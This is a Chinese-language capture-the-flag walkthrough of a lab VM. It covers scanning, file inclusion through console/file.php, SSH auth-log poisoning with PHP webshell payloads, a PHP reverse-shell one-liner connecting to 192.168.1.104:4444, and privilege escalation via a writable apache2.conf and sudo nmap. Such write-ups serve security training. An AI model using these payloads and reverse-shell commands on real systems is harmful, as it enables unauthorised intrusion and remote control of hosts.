照例进行端口扫描,服务扫描
22和80就不用专门进行服务识别了
发现80端口,尝试访问,并进行目录扫描
貌似就是一个静态页面,先不管,扫目录
发现console目录下有file.php,访问后返回页面为空,猜测缺少传参
参数爆破
一般这里的参数名都是file,但是跑一下字典
这里发现两个用户natraj和mahakal,记一下后面可能用到
另外文件读取应该有两种可能,一种是单纯的任意文件读取,另一种是文件包含。而文件读取很难获取shell,所以先尝试文件包含方向
文件包含利用
结合已有的信息,文件包含的利用,需要能够将恶意代码写到目标靶机。而现在能控制的只有22端口的ssh登录日志和web的访问日志。都尝试访问读取一下
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/auth.log
只有ssh登录日志可以访问到
尝试ssh登录日志注入
经过多次尝试,得到以下可以成功注入的payload,主要是要转义$符号。bypass绕过的思路还是要提升。。
ssh "<?php @eval(\$_GET['cmd']);?>"@172.16.33.18
ssh "<?php system(\$_GET['cmd']);?>"@172.16.33.18,感觉这个比较稳定,推荐用system函数
这边线上的靶场,容易出问题,最好用自己单独使用的靶场,注入失败了可以直接还原快照
以下基于自己搭建的靶场操作
命令执行成功
反弹shell
php -r '$sock=fsockopen("192.168.1.104",4444);exec("/bin/bash <&3 >&3 2>&3");'
获取的shell还不完整,利用bash命令再反弹一次
同时利用python3升级一下完整shell,方便后续操作
提权
查看系统版本,发现是Ubuntu18.04,通过CVE-2021-3493基本可以通杀,但这个靶机的初衷应该不是通过这种方式提权
查看当前系统进程信息
ps -ef
find / -type f -writable 2>/dev/null | grep -v proc
查找可写文件,发现apache2.conf可写,可以更改apache启动用户,然后反弹回其他用户的shell(apache无法使用root用户启动)
更改apache2.conf文件,一共两个用户natraj和mahakal,natraj尝试了没有提权成功
手动重启虚拟机,然后同样利用日志注入和文件包含漏洞触发反弹shell
尝试mahakal
查找suid可执行文件,查看可以sudo执行的命令
发现nmap命令可以sudo执行,可以利用nmap进行提权
提权成功